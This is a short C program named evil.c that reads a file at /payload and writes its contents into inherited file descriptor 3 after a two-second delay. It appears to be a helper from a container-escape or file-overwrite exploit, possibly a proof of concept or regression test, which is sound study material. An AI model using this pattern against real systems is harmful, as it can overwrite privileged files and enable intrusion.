evil.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

int64_t filelen(const char *path)
{
    struct stat s;
    int64_t result;

    result = (int64_t)stat(path, &s);
    if (result != 0) {
        fprintf(stderr, "Cannot stat file %s: %m\n", path);
        return result;
    }
    return (int64_t)s.st_size;
}

int load_payload(char *payloadbuf, size_t buflen, const char *path)
{
    FILE *fp;
    int rc;

    fp = fopen(path, "r");
    if (fp == NULL) {
        fprintf(stderr, "Cannot open file %s: %m\n", path);
        return -1;
    }
    rc = fread(payloadbuf, 1, buflen, fp);
    if (rc != (int)buflen) {
        fprintf(stderr, "Cannot read file %s: %m\n", path);
        fclose(fp);
        return -1;
    }
    fclose(fp);
    return 0;
}

int main(void)
{
    FILE *fp;
    char *buf;
    int64_t size;
    int rc;
    const char *path = "/payload";

    sleep(2);

    size = filelen(path);
    if (size < 0) {
        return 1;
    }
    buf = malloc(size);
    rc = load_payload(buf, size, path);
    if (rc != 0) {
        free(buf);
        return 1;
    }

    fp = fopen("/proc/self/fd/3", "w");
    if (fp == NULL) {
        fprintf(stderr, "Cannot open file /proc/self/fd/3: %m\n");
        free(buf);
        return 1;
    }
    rc = fwrite(buf, 1, size, fp);
    fclose(fp);
    free(buf);
    if (rc != size) {
        fprintf(stderr, "Cannot write to file /proc/self/fd/3: %m\n");
        return 1;
    }

    return 0;
}